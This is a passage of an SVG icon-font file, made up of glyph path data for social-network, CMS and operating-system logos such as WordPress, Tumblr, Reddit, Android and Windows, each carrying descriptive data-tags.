C 204.023,249.678 176.285,251.757 176.285,251.757 C 167.225,252.273 166.162,238.794 175.219,238.272 C 175.219,238.272 183.789,237.237 192.84,236.719 L 219.013,166.872 L 182.243,59.485 L 121.066,236.719 C 131.19,237.236 140.295,238.272 140.295,238.272 C 149.34,239.317 148.271,252.274 139.22,251.757 C 139.22,251.757 112.013,249.678 94.446,249.678 C 91.293,249.678 87.576,249.753 83.634,249.877 ZM 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z M 420,160
		c0-108.248-87.752-196-196-196S 28,51.752, 28,160S 115.752,356, 224,356S 420,268.248, 420,160z" data-tags="wordpress, social, cms" />
<glyph unicode="&#xe18f;" d="M 116.377,262.953c 14.364,14.369, 37.626,14.369, 51.977,0.014l 3.424-3.442l 44.233,44.256l-3.445,3.447
	c-25.21,25.244-60.6,34.072-92.934,26.478C 114.997,362.224, 90.281,383.986, 60.493,384C 27.396,384, 0.576,357.119, 0.569,323.993
	c0-28.584, 19.946-52.5, 46.665-58.551c-10.123-33.884-1.856-72.115, 24.87-98.868l 99.674-99.706l 44.186,44.281L 116.296,210.85
	C 101.998,225.166, 101.972,248.53, 116.377,262.953zM 447.437,323.993C 447.443,357.139, 420.61,384, 387.506,384c-30.29,0-55.334-22.507-59.361-51.729
	c-33.72,9.916-71.655,1.53-98.28-25.116l-99.68-99.706l 44.232-44.263l 99.648,99.687c 14.411,14.423, 37.62,14.396, 51.924,0.081
	c 14.35-14.363, 14.35-37.675-0.014-52.043l-3.41-3.428l 44.192-44.296l 3.438,3.469c 26.45,26.498, 34.859,64.206, 25.205,97.842
	C 424.778,268.361, 447.437,293.53, 447.437,323.993zM 396.491,55.41c 7.92,32.575-0.865,68.392-26.297,93.844L 270.667,249l-44.232-44.241l 99.54-99.755
	c 14.411-14.436, 14.378-37.667, 0.081-51.996c-14.351-14.356-37.627-14.356-51.991,0.013l-3.398,3.408l-44.185-44.295l 3.383-3.381
	c 26.913-26.947, 65.458-35.192, 99.474-24.713C 334.865-43.384, 359.060-64, 388.077-64C 421.153-64, 448-37.159, 448-4.007
	C 448,26.268, 425.609,51.317, 396.491,55.41zM 267.901,152.701L 168.353,52.954c-14.311-14.336-37.64-14.362-52.038,0.054c-14.358,14.396-14.364,37.668-0.019,52.049
	l 3.416,3.401l-44.225,44.242l-3.384-3.374c-25.707-25.726-34.37-62.052-26.009-94.93C 19.67,48.158,0,24.37,0-4.007
	C-0.007-37.146, 26.833-64, 59.93-64c 28.481,0.014, 52.32,19.87, 58.424,46.542c 32.682-8.117, 68.687,0.571, 94.213,26.143
	l 99.527,99.733L 267.901,152.701z" data-tags="joomla, cms" />
<glyph unicode="&#xe190;" d="M 419.036,216l-24.59,0 l-0.525,0 c-15.385,0-28.87,13.012-29.921,28l0,0C 364.002,323.917, 299.575,384, 219.104,384l-73.423,0 
	C 65.264,384, 0.057,319.25,0,239.334l0-158.724 C0,0.698, 65.264-64, 145.68-64l 156.809,0 C 382.966-64, 448,0.698, 448,80.609L 448,183.152 
	C 448,199.121, 435.12,216, 419.036,216z M 140,272l 84,0 c 15.4,0, 28-12.6, 28-28s-12.6-28-28-28l-84,0 c-15.4,0-28,12.6-28,28S 124.6,272, 140,272
	z M 308,48L 140,48 c-15.4,0-28,12.6-28,28s 12.6,28, 28,28l 168,0 c 15.4,0, 28-12.6, 28-28S 323.4,48, 308,48z" data-tags="blogger, social" />
<glyph unicode="&#xe191;" d="M 373.34,384L 74.659,384 C 33.427,384,0,350.567,0,309.327l0-298.653 C0-30.568, 33.427-64, 74.659-64l 298.68,0 
	c 41.234,0, 74.659,33.432, 74.659,74.673L 448,309.327C 448,350.567, 414.573,384, 373.34,384z M 392,100.457
	C 392,40.524, 343.225-8, 282.868-8L 165.26-8 C 104.948-8, 56,40.524, 56,100.457L 56,219.5 c 0.042,59.938, 48.947,108.5, 109.26,108.5l 55.067,0 
	C 280.682,328, 329.002,282.937, 329,223c 0.788-11.241, 10.903-21, 22.44-21l 0.392,0 l 18.443,0 C 382.339,202, 392,189.341, 392,177.363L 392,100.457 zM 308,104c0-15.4-12.6-28-28-28L 168,76 c-15.4,0-28,12.6-28,28l0,0c0,15.4, 12.6,28, 28,28l 112,0 C 295.4,132, 308,119.4, 308,104
	L 308,104zM 252,216c0-15.4-12.6-28-28-28l-56,0 c-15.4,0-28,12.6-28,28l0,0c0,15.4, 12.6,28, 28,28l 56,0 C 239.4,244, 252,231.4, 252,216L 252,216
	z" data-tags="blogger, social" />
<glyph unicode="&#xe192;" d="M 252.014,188 L 252.013,85.545 C 252.013,59.549 251.676,44.57 254.432,37.201 C 257.167,29.871 264.022,22.262 271.491,17.862 C 281.415,11.918 292.728,8.948 305.488,8.948 C 328.174,8.948 341.572,11.944 364,26.684 L 364-40.666 L 364-40.666 C 344.881-49.658 328.184-54.926 312.671-58.57 C 297.139-62.176 280.357-63.997 262.33-63.997 C 241.843-63.997 229.756-61.422 214.026-56.273 C 198.294-51.081 184.862-43.67 173.767-34.162 C 162.633-24.571 154.945-14.383 150.646-3.61 C 146.347,7.168 144.208,22.821 144.208,43.309 L 144.208,200.415 L 84.084,200.415 L 84.084,263.856 C 101.675,269.561 121.343,277.763 133.863,288.422 C 146.443,299.119 156.51,311.918 164.097,326.897 C 171.706,341.836 176.936,360.896 179.791,383.998 L 252.015,383.998 L 252.014,272 L 364,272 L 364,188 L 252.014,188 Z" data-tags="tumblr, social" />
<glyph unicode="&#xe193;" d="M 373.354,384L 74.676,384 C 33.604,384, 0.001,350.394, 0.001,309.325l0-298.649 C 0.001-30.422, 33.604-64, 74.676-64L 373.354-64 
	C 414.422-64, 448-30.422, 448,10.676L 448,309.326 C 447.996,350.394, 414.418,384, 373.354,384z M 320.126,23.199
	c-13.192-6.207-25.168-10.582-35.875-13.098c-10.717-2.489-22.295-3.744-34.738-3.744c-14.136,0-22.477,1.775-33.332,5.332
	c-10.854,3.582-20.125,8.694-27.781,15.256c-7.682,6.619-12.988,13.649-15.954,21.085c-2.968,7.439-4.443,18.24-4.443,32.377L 168.002,188.821 
	l-41.998,0 l0,43.779 c 12.138,3.938, 26.222,9.596, 34.862,16.953c 8.68,7.381, 15.627,16.213, 20.862,26.549
	c 5.252,10.31, 8.859,23.461, 10.829,39.404l 43.969,0 L 236.525,244 L 308,244 l0-55.18 l-71.478,0 l0-79.27 c0-17.938-0.231-28.274, 1.669-33.359
	c 1.887-5.058, 6.618-10.307, 11.77-13.344c 6.849-4.102, 14.658-6.151, 23.461-6.151c 15.656,0, 31.228,5.086, 46.703,15.258L 320.126,23.199 
	L 320.126,23.199z" data-tags="tumblr, social" />
<glyph unicode="&#xe194;" d="M 371,104l-6.5,182.009C 364.225,293.704, 370.3,300, 378,300l 56,0 c 7.7,0, 12.892-6.202, 11.54-13.782L 413,104M 420,44.5c0-13.475-11.025-24.5-24.5-24.5l-7,0 c-13.475,0-24.5,11.025-24.5,24.5l0,7 c0,13.475, 11.025,24.5, 24.5,24.5l 7,0 c 13.475,0, 24.5-11.025, 24.5-24.5L 420,44.5 zM 168,300C 75.216,300,0,237.32,0,160c0-77.319, 75.216-140, 168-140c 92.784,0, 168,62.681, 168,140
	C 336,237.32, 260.784,300, 168,300z M 280,188l-32.49,0 L 196,136.489L 196,104 l 42,0 l0-28 L 126,76 l0,28 l 42,0 l0,32.489 L 88.489,216L 70.087,216 l0,28 l 83.828,0 l0-28 L 135.511,216 
	L 182,169.511l 14,14L 196,216 l 84,0 L 280,188 z" data-tags="yahoo, social" />
<glyph unicode="&#xe195;" d="M 248.349,61.599c-35.851-16.677-69.194-16.501-91.586-14.884c-26.71,1.929-48.194,9.242-57.637,15.633
		c-5.819,3.94-13.73,2.416-17.671-3.405c-3.939-5.82-2.415-13.731, 3.405-17.671c 15.18-10.275, 42.030-17.917, 70.071-19.941
		c 4.754-0.343, 9.974-0.559, 15.595-0.559c 24.405,0, 55.399,2.326, 88.559,17.749c 6.372,2.965, 9.134,10.532, 6.17,16.905
		C 262.291,61.8, 254.722,64.558, 248.349,61.599zM 389.79,80.455c 1.219,110.551, 12.583,319.465-199.049,302.58C-18.21,366.217, 37.194,145.487, 34.080,71.558
		C 31.32,32.451, 18.339-15.351,0-64l 56.481,0 c 5.804,20.616, 10.073,41.002, 11.914,60.441c 3.405-2.375, 7.047-4.67, 10.935-6.869
		c 6.325-3.727, 11.762-8.682, 17.517-13.927c 13.45-12.258, 28.696-26.151, 58.499-27.892c 2-0.115, 4.014-0.172, 5.983-0.172
		c 30.142,0, 50.756,13.192, 67.322,23.792c 7.936,5.080, 14.795,9.468, 21.247,11.573c 18.336,5.74, 34.358,15.005, 46.333,26.798
		c 1.871,1.841, 3.606,3.735, 5.233,5.665c 6.67-24.447, 15.802-51.957, 25.938-79.408L 448-64 
		C 419.049-19.277, 389.184,24.539, 389.79,80.455z M 54.298,140.596c0,0.007,0,0.013-0.001,0.020
		c-2.076,36.077, 15.186,66.427, 38.555,67.785c 23.368,1.359, 43.995-26.787, 46.071-62.865c0-0.006, 0.002-0.013, 0.002-0.019
		c 0.112-1.945, 0.161-3.87, 0.162-5.778c-7.404-1.862-14.084-4.566-20.069-7.713c-0.023,0.268-0.040,0.532-0.067,0.801
		c0,0.004,0,0.008,0,0.011c-1.999,20.479-12.938,35.945-24.435,34.544c-11.498-1.402-19.198-19.141-17.199-39.619
		c0-0.004, 0.002-0.008, 0.002-0.011c 0.871-8.928, 3.442-16.903, 7.018-22.944c-0.89-0.702-3.405-2.543-6.303-4.662
		c-2.174-1.59-4.821-3.525-8.012-5.876C 61.324,105.685, 55.363,122.085, 54.298,140.596z M 291.051,51.422
		c-0.831-19.069-25.772-37.009-48.817-44.207l-0.13-0.042c-9.581-3.107-18.125-8.575-27.171-14.363
		c-15.195-9.723-30.908-19.779-53.603-19.779c-1.489,0-3.016,0.045-4.518,0.13c-20.788,1.215-30.512,10.076-42.822,21.296
		c-6.493,5.918-13.208,12.037-21.864,17.117l-0.185,0.107c-18.684,10.546-30.28,23.661-31.022,35.085
		c-0.368,5.679, 2.16,10.595, 7.517,14.612c 11.653,8.738, 19.459,14.447, 24.624,18.225c 5.736,4.195, 7.467,5.46, 8.75,6.678
		c 0.917,0.869, 1.909,1.832, 2.977,2.871c 10.695,10.401, 28.595,27.808, 56.066,27.808c 16.802,0, 35.393-6.475, 55.199-19.207
		c 9.329-6.072, 17.448-8.875, 27.729-12.425c 7.068-2.44, 15.080-5.207, 25.809-9.802l 0.173-0.072
		C 279.773,71.341, 291.592,63.833, 291.051,51.422z M 285.533,96.21c-1.925,0.969-3.926,1.89-6.013,2.75
		c-9.671,4.137-17.427,6.945-23.859,9.187c 3.551,6.954, 5.758,15.627, 5.961,25.043c0,0.004,0,0.010,0,0.013
		c 0.493,22.914-11.063,41.517-25.811,41.552c-14.748,0.034-27.103-18.512-27.596-41.425c0-0.004,0-0.008,0-0.012
		c-0.017-0.75-0.018-1.494-0.009-2.236c-9.083,4.179-18.016,7.214-26.76,9.083c-0.040,0.861-0.089,1.72-0.107,2.59
		c0,0.007,0,0.016,0,0.022c-0.848,41.743, 24.763,76.296, 57.205,77.176c 32.441,0.881, 59.425-32.244, 60.275-73.986
		c0-0.008,0-0.017,0-0.023C 299.202,127.068, 294.156,109.69, 285.533,96.21z" data-tags="tux, linux" />
<glyph unicode="&#xe196;" d="M 346.28,145.96c-0.566,56.736, 46.269,83.946, 48.362,85.298c-26.317,38.509-67.309,43.784-81.918,44.394
		c-34.887,3.532-68.073-20.54-85.779-20.54c-17.661,0-44.983,20.017-73.916,19.491c-38.026-0.565-73.088-22.11-92.668-56.166
		c-39.508-68.555-10.118-170.117, 28.389-225.718c 18.816-27.214, 41.253-57.783, 70.711-56.691c 28.368,1.132, 39.096,18.357, 73.393,18.357
		c 34.297,0, 43.937-18.357, 73.959-17.793c 30.526,0.567, 49.867,27.737, 68.553,55.036c 21.608,31.574, 30.505,62.142, 31.029,63.711
		C 405.719,55.648, 346.87,78.192, 346.28,145.96zM 289.871,312.459C 305.506,331.428, 316.060,357.746, 313.181,384c-22.522-0.917-49.822-15.002-65.979-33.928
		c-14.5-16.79-27.19-43.586-23.789-69.316C 248.554,278.794, 274.219,293.533, 289.871,312.459z" data-tags="apple" />
<glyph unicode="&#xe197;" d="M 224.438,48c-57.887,0-114.482,8.475-168.919,25.243l 8.859,26.575C 115.96,83.998, 169.586,76, 224.438,76
		c 7.151,0, 14.279,0.144, 21.386,0.415C 247.672,110.347, 252,132, 252,132s-28,0-84,0c0,76.567, 26.17,144.399, 54.657,195.563L0,327.562 l0-335.125 
		l 247.702,0 c-2.044,19.987-2.758,38.876-2.692,55.93C 238.171,48.128, 231.313,48, 224.438,48z M 84,272l 28,0 l0-56 L 84,216 L 84,272 zM 448,327.562L 261.131,327.562 c-0.852-1.398-1.704-2.806-2.555-4.238c-16.807-28.25-30.16-57.207-39.688-86.065
		c-7.965-24.12-13.257-48.227-15.825-72.010l 89.625,0 l-8.075-39.74c-0.137-0.707-3.574-18.744-5.337-46.787
		c 35.816,3.555, 70.972,10.59, 105.225,21.094l 8.859-26.575c-37.435-11.531-75.891-19.14-115.085-22.768
		c-0.016-1.915-0.025-3.846-0.018-5.81c 0.054-17.776, 1.026-35.249, 2.888-52.227L 448-7.563 L 448,327.562 z M 364,216l-28,0 l0,56 l 28,0 L 364,216 zM 256.928-64l 34.199,0 c-2.389,9.544-4.457,19.334-6.185,29.35c-1.529,8.86-2.792,17.902-3.8,27.087l-33.439,0 
		C 249.554-25.665, 252.493-44.663, 256.928-64zM 301.196,384l-42.173,0 c-11.266-15.256-24.033-34.287-36.365-56.438l 38.473,0 C 275.863,351.761, 290.515,371.051, 301.196,384z" data-tags="finder, mac" />
<glyph unicode="&#xe198;" d="M 378,244c-15.4,0-28-12.6-28-28l0-112 c0-15.4, 12.6-28, 28-28s 28,12.6, 28,28L 406,216 C 406,231.4, 393.4,244, 378,244zM 42,244c-15.4,0-28-12.6-28-28l0-112 c0-15.4, 12.6-28, 28-28s 28,12.6, 28,28L 70,216 C 70,231.4, 57.399,244, 42,244zM 84,62c0-23.196, 18.804-42, 42-42l 14,0 l0-56 c0-15.4, 12.6-28, 28-28s 28,12.6, 28,28l0,56 l 28,0 l0-56 c0-15.4, 12.601-28, 28-28s 28,12.6, 28,28
		l0,56 l 14,0 c 23.196,0, 42,18.804, 42,42L 336,216 L 84,216 L 84,62 zM 261.887,344.846l 17.72,34.040c 0.889,1.707, 0.219,3.832-1.488,4.721s-3.832,0.219-4.721-1.488l-17.989-34.556
		C 241.322,353.008, 226.012,356, 210,356c-16.011,0-31.322-2.992-45.411-8.438L 146.601,382.118c-0.889,1.707-3.013,2.377-4.721,1.488
		s-2.377-3.013-1.488-4.721l 17.719-34.041c-39.651-17.945-68.355-55.818-73.334-100.846l 250.443,0 
		C 330.243,289.028, 301.538,326.9, 261.887,344.846z M 154,265.7c-11.211,0-20.3,9.089-20.3,20.3c0,11.211, 9.089,20.3, 20.3,20.3
		s 20.3-9.089, 20.3-20.3C 174.299,274.789, 165.211,265.7, 154,265.7z M 266,265.7c-11.211,0-20.301,9.089-20.301,20.3
		c0,11.211, 9.090,20.3, 20.301,20.3s 20.299-9.089, 20.299-20.3C 286.299,274.789, 277.211,265.7, 266,265.7z" data-tags="android, os, mobile" />
<glyph unicode="&#xe199;" d="M 180.351,160.038c-20.872,10.727-41.163,16.169-60.322,16.169c-2.606,0-5.229-0.079-7.852-0.31
		c-24.448-2.023-46.778-8.473-61.141-13.487c-3.81-1.399-7.715-2.877-11.738-4.509L0,21.666
		c 26.995,9.989, 50.878,14.848, 72.743,14.848c 35.37,0, 61.043-13.216, 82.246-26.821c 10.046,34.089, 34.144,116.414, 41.336,141.017
		C 191.097,153.897, 185.792,157.084, 180.351,160.038zM 231.152,125.407l-39.57-137.44c 11.739-6.725, 51.23-28.022, 81.468-28.022c 24.409,0, 51.735,6.255, 83.49,19.159
		l 37.781,132.114c-25.651-8.278-50.258-12.477-73.266-12.477C 279.077,98.741, 249.693,112.347, 231.152,125.407zM 128.11,222.654c 33.739-0.349, 58.691-13.216, 79.37-26.47l 40.579,138.838c-8.551,4.898-30.978,17.104-47.188,21.262
		c-10.669,2.487-21.884,3.769-33.777,3.769c-22.661-0.427-47.42-6.101-75.639-17.412l-38.692-135.886
		c 28.354,10.691, 52.782,15.899, 75.288,15.899C 128.070,222.654, 128.11,222.654, 128.11,222.654zM 448,297.321c-25.731-9.989-50.841-15.079-74.825-15.079c-40.113,0-69.69,13.913-88.854,27.285L 244.094,170.299
		c 27.014-17.372, 56.127-26.197, 86.678-26.197c 24.915,0, 50.724,5.985, 76.765,17.801l-0.080,0.972l 1.634,0.388L 448,297.321z" data-tags="windows, os" />
<glyph unicode="&#xe19a;" d="M 0.153,160 L 0,296.532 L 168,319.345 L 168,160 ZM 196,323.414 L 419.944,356 L 419.944,160 L 196,160 ZM 419.999,132 L 419.944-64 L 196-32.493 L 196,132 ZM 168-28.928 L 0.137-5.918 L 0.128,132 L 168,132 Z" data-tags="windows8, os" />
<glyph unicode="&#xe19b;" d="M 390.233,159.036c-7.913,0-15.465-1.54-22.34-4.312C 363.296,204.755, 319.64,244, 266.392,244
		c-13.031,0-25.673-2.463-36.889-6.634c-4.357-1.62-5.503-3.29-5.503-6.526l0-176.187 c0-3.398, 2.73-6.227, 6.179-6.561
		C 230.326,48.077, 389.226,48, 390.256,48C 422.152,48, 448,72.857, 448,103.516S 422.129,159.036, 390.233,159.036zM 175,48L 189,48L 196,146.096L 189,244L 175,244L 168,146.096 	zM 133,48L 119,48L 112,119.203L 119,188L 133,188L 140,118 	zM 63,48L 77,48L 84,104L 77,160L 63,160L 56,104 	zM 7,76L 21,76L 28,104L 21,132L 7,132L0,104 	z" data-tags="soundcloud, social" />
<glyph unicode="&#xe19c;" d="M 373.35,384L 74.676,384 C 33.606,384, 0.001,350.397, 0.001,309.328l0-205.326 L 7,132l 14,0 l 7-28l-7-28L 7,76 l-7,27.998l0-93.32 
	C 0.001-30.42, 33.606-64, 74.676-64l 298.674,0 C 414.422-64, 448-30.42, 448,10.678L 448,103.516 C 448,72.857, 422.152,48, 390.256,48
	c-1.030,0-159.93,0.077-160.077,0.092c-3.448,0.333-6.179,3.163-6.179,6.561L 224,230.84 c0,3.235, 1.145,4.905, 5.503,6.526
	c 11.216,4.171, 23.859,6.634, 36.889,6.634c 53.247,0, 96.903-39.245, 101.499-89.275c 6.876,2.772, 14.428,4.312, 22.34,4.312
	c 31.896,0, 57.768-24.86, 57.768-55.52L 448,309.327 C 448,350.397, 414.418,384, 373.35,384z M 77,48L 63,48 l-7,56l 7,56l 14,0 l 7-56L 77,48z M 133,48l-14,0 
	l-7,71.203L 119,188l 14,0 l 7-70L 133,48z M 189,48l-14,0 l-7,98.096L 175,244l 14,0 l 7-97.904L 189,48z" data-tags="soundcloud, social" />
<glyph unicode="&#xe19d;" d="M 426.698,131.152c 1.23,9.1, 1.938,18.351, 1.938,27.769c0,113.011-92.112,204.638-205.715,204.638
	c-11.291,0-22.361-0.927-33.133-2.695c-19.313,12.586-42.299,19.921-67.035,19.921C 54.92,380.785,0,325.828,0,258.018
	c0-24.673, 7.262-47.595, 19.766-66.84c-1.684-10.515-2.545-21.283-2.545-32.252c0-113.029, 92.065-204.647, 205.699-204.647
	c 12.825,0, 25.311,1.249, 37.447,3.441c 18.856-11.698, 41.067-18.505, 64.878-18.505C 393.059-60.785, 448-5.814, 448,61.99
	C 447.997,87.621, 440.16,111.452, 426.698,131.152z M 242.148,8.103c-65.367-3.405-95.956,11.057-123.978,37.355
	c-31.294,29.371-18.723,62.872, 6.772,64.576c 25.482,1.701, 40.781-28.886, 54.381-37.394c 13.583-8.477, 65.27-27.79, 92.57,3.419
	c 29.729,33.975-19.77,51.555-56.052,56.877c-51.803,7.67-117.206,35.693-112.118,90.919c 5.089,55.19, 46.884,83.487, 90.869,87.479
	c 56.067,5.090, 92.567-8.494, 121.437-33.127c 33.381-28.463, 15.319-60.282-5.949-62.842c-21.186-2.545-44.979,46.816-91.692,47.558
	c-48.149,0.756-80.69-50.103-21.25-64.561c 59.47-14.442, 123.156-20.375, 146.091-74.74
	C 366.179,69.251, 307.569,11.512, 242.148,8.103z" data-tags="skype, social" />
<glyph unicode="&#xe19e;" d="M 112,104A28,28 2700 1 0 168,104A28,28 2700 1 0 112,104zM 280,104A28,28 2700 1 0 336,104A28,28 2700 1 0 280,104zM 281.361,44.16 C 288.572,49.841 299.026,48.602 304.708,41.389 C 310.391,34.177 309.15,23.724 301.937,18.042 C 281.858,2.223 251.265-8 224-8 C 196.734-8 166.142,2.223 146.062,18.041 C 138.849,23.724 137.609,34.177 143.292,41.389 C 148.975,48.6 159.428,49.841 166.639,44.16 C 178.199,35.052 201.080,25.25 224,25.25 C 246.92,25.25 269.801,35.052 281.361,44.16 ZM 448,160c0,30.928-25.072,56-56,56c-21.051,0-39.372-11.624-48.935-28.796c-28.784,15.747-63.854,25.92-102.060,28.266
			l 33.417,75.043l 63.96-18.463C 344.136,255.713, 359.696,244, 378,244c 23.196,0, 42,18.804, 42,42s-18.804,42-42,42
			c-15.995,0-29.9-8.943-36.992-22.1L 269.736,326.473c-7.973,2.3-16.423-1.628-19.798-9.21l-45.399-101.949
			c-37.248-2.623-71.427-12.697-99.591-28.103C 95.383,204.383, 77.051,216, 56,216c-30.928,0-56-25.072-56-56
			c0-22.886, 13.738-42.549, 33.413-51.232C 29.882,98.256, 28,87.285, 28,76c0-77.319, 87.752-140, 196-140
			c 108.247,0, 196,62.681, 196,140c0,11.284-1.881,22.252-5.411,32.763C 434.263,117.447, 448,137.113, 448,160z M 378,301.75
			c 8.698,0, 15.75-7.052, 15.75-15.75s-7.052-15.75-15.75-15.75s-15.75,7.052-15.75,15.75S 369.302,301.75, 378,301.75z M 28,160c0,15.439, 12.561,28, 28,28
			c 11.16,0, 20.813-6.564, 25.308-16.033c-14.633-11.098-26.76-23.899-35.729-37.948C 35.287,138.163, 28,148.244, 28,160z M 224-30.75
			c-89.884,0-162.75,47.793-162.75,106.75s 72.866,106.75, 162.75,106.75c 89.884,0, 162.75-47.793, 162.75-106.75S 313.884-30.75, 224-30.75z M 402.421,134.019
			c-8.969,14.049-21.095,26.85-35.729,37.948C 371.188,181.436, 380.84,188, 392,188c 15.439,0, 28-12.561, 28-28
			C 420,148.244, 412.713,138.163, 402.421,134.019z" data-tags="reddit, social" />
<glyph unicode="&#xe19f;" d="M 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z M 168,20l-56,0 
	L 112,216 l 56,0 L 168,20 z M 140,244c-15.464,0-28,12.536-28,28s 12.536,28, 28,28s 28-12.536, 28-28S 155.464,244, 140,244z M 364,20l-56,0 L 308,132 
	c0,15.464-12.536,28-28,28s-28-12.536-28-28l0-112 l-56,0 L 196,216 l 56,0 l0-34.769 C 263.549,197.096, 281.204,216, 301,216c 34.794,0, 63-31.34, 63-70
	L 364,20 z" data-tags="linkedin, social" />
<glyph unicode="&#xe1a0;" d="M 358.566,28.038c-46.666,0.183-71.53,23.005-88.809,63.22l-4.943,10.973l-42.599,97.125
	c-14.128,34.381-49.185,57.606-88.74,57.606c-53.521,0-96.943-43.423-96.943-96.981c0-53.558, 43.421-96.98, 96.943-96.98
	c 37.335,0, 69.8,21.109, 86.005,52.063l 17.227-39.739c-24.462-29.824-61.633-48.818-103.23-48.818C 59.754,26.506,0,86.226,0,159.982
	c0,73.721, 59.754,133.513, 133.474,133.513c 55.635,0, 100.553-29.714, 123.375-82.36c 1.731-4.085, 24.132-56.475, 43.674-101.063
	c 12.105-27.598, 22.426-45.902, 55.893-47.033c 32.886-1.13, 55.456,18.886, 55.456,44.191c0,24.719-17.209,30.661-46.266,40.322
	c-52.23,17.209-79.19,34.49-79.19,75.907c0,40.397, 27.489,67.339, 72.15,67.339c 29.092,0, 50.096-12.944, 64.645-38.756
	l-28.55-14.583c-10.758,15.056-22.622,21-37.7,21c-20.962,0-35.93-14.584-35.93-33.979c0-27.528, 24.629-31.685, 59.065-42.986
	C 426.453,166.4, 448,149.153, 448,106.096C 448.001,60.887, 409.206,27.964, 358.566,28.038z" data-tags="lastfm, social" />
<glyph unicode="&#xe1a1;" d="M 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z
	 M 326.601,51.111c-77.682,0-104.623,35.024-118.988,78.577l-14.372,44.903c-10.779,32.78-23.351,58.373-62.862,58.373
	c-27.396,0-55.233-19.757-55.233-74.987c0-43.106, 22.001-70.049, 52.987-70.049c 35.018,0, 58.371,26.044, 58.371,26.044l 14.372-39.063
	c0,0-24.253-23.797-74.987-23.797c-62.865,0-97.891,36.816-97.891,105.072c0,70.946, 35.025,112.704, 101.031,112.704
	c 59.721,0, 89.81-21.553, 108.665-79.928l 14.819-44.899c 10.778-32.782, 29.634-56.579, 74.986-56.579
	c 30.534,0, 46.696,6.737, 46.696,23.349c0,13.024-7.63,22.453-30.531,27.843l-30.537,7.181c-37.264,8.979-52.082,28.288-52.082,58.823
	c0,48.944, 39.515,64.211, 79.925,64.211c 45.802,0, 73.641-16.614, 77.233-57.025l-44.902-5.39
	c-1.797,19.308-13.472,27.392-35.024,27.392c-19.759,0-31.881-8.982-31.881-24.249c0-13.471, 5.837-21.554, 25.591-26.044
	l 28.737-6.284c 38.618-8.983, 59.278-27.843, 59.278-64.213C 420.001,68.172, 382.283,51.111, 326.601,51.111z" data-tags="lastfm, social" />
<glyph unicode="&#xe1a2;" d="M 373.352,384L 74.675,384 C 33.604,384,0,350.393,0,309.322l0-298.648 C0-30.42, 33.604-64, 74.675-64l 298.677,0 
	C 414.422-64, 448-30.421, 448,10.674L 448,309.322 C 448,350.393, 414.422,384, 373.352,384z M 420,10.674c0-12.396-4.874-24.098-13.724-32.951
	C 397.428-31.126, 385.736-36, 373.352-36L 224-36 L 224,160 L 28,160 L 28,309.322 c0,12.385, 4.878,24.084, 13.736,32.942C 50.593,351.122, 62.291,356, 74.675,356
	L 224,356 l0-196 l 196,0 L 420,10.674 z" data-tags="delicious, social" />
<glyph unicode="&#xe1a3;" d="M 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z M 224,244
	c-15.439,0-28-12.561-28-28l0-112 c0-46.319-37.682-84-84-84s-84,37.681-84,84l0,56 l 56,0 l0-56 c0-15.439, 12.561-28, 28-28s 28,12.561, 28,28L 140,216 
	c0,46.318, 37.682,84, 84,84c 46.318,0, 84-37.682, 84-77.875l0-27.125 l-35.875-10.5l-20.125,10.5l0,27.125 C 252,231.439, 239.439,244, 224,244z M 420,104
	c0-46.319-37.682-84-84-84s-84,37.681-84,90.125l0,54.25 l 20.125-10.5l 35.875,10.5l0-54.25 c0-21.564, 12.561-34.125, 28-34.125s 28,12.561, 28,28l0,56 l 56,0 L 420,104 z" data-tags="stumbleupon, social" />
<glyph unicode="&#xe1a4;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224,272
	c-15.439,0-28-12.561-28-28l0-112 c0-46.318-37.682-84-84-84s-84,37.682-84,84l0,56 l 56,0 l0-56 c0-15.439, 12.561-28, 28-28s 28,12.561, 28,28L 140,244 
	c0,46.318, 37.682,84, 84,84s 84-37.682, 84-77.875l0-27.125 l-35.875-10.5l-20.125,10.5l0,27.125 C 252,259.439, 239.439,272, 224,272z M 336,48
	c-46.318,0-84,37.682-84,90.125l0,54.25 l 20.125-10.5l 35.875,10.5l0-54.25 c0-21.564, 12.561-34.125, 28-34.125s 28,12.561, 28,28l0,56 l 56,0 l0-56 
	C 420,85.682, 382.318,48, 336,48z" data-tags="stumbleupon, social" />
<glyph unicode="&#xe1a5;" d="M 448,104 L 448-64 L 0-64 L 0,104 L 56,104 L 56-8 L 392-8 L 392,104 ZM 84,76L 364,76L 364,20L 84,20zM 90.629,136.609L 102.747,191.28L 376.111,130.688L 363.993,76.017zM 122.35,249.006L 146.016,299.758L 399.78,181.43L 376.114,130.678zM 433.878,225.854 L 399.787,181.426 L 177.649,351.88 L 202.296,384 L 227.777,384 Z" data-tags="stackoverflow, social" />
<glyph unicode="&#xe1a6;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.286-224, 224-224c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384z M 245.719,84.698
	c-20.353,1.581-28.893,11.662-44.846,21.354C 192.097,60.037, 181.377,15.92, 149.625-7.123
	c-9.802,69.548, 14.391,121.784, 25.624,177.237c-19.155,32.246, 2.306,97.14, 42.709,81.145
	c 49.711-19.665-43.050-119.878, 19.22-132.394c 65.021-13.067, 91.564,112.813, 51.25,153.748
	c-58.257,59.109-169.574,1.348-155.886-83.281c 3.331-20.69, 24.707-26.967, 8.542-55.52c-37.284,8.265-48.409,37.67-46.977,76.874
	c 2.305,64.17, 57.655,109.097, 113.175,115.31c 70.212,7.859, 136.109-25.772, 145.209-91.821
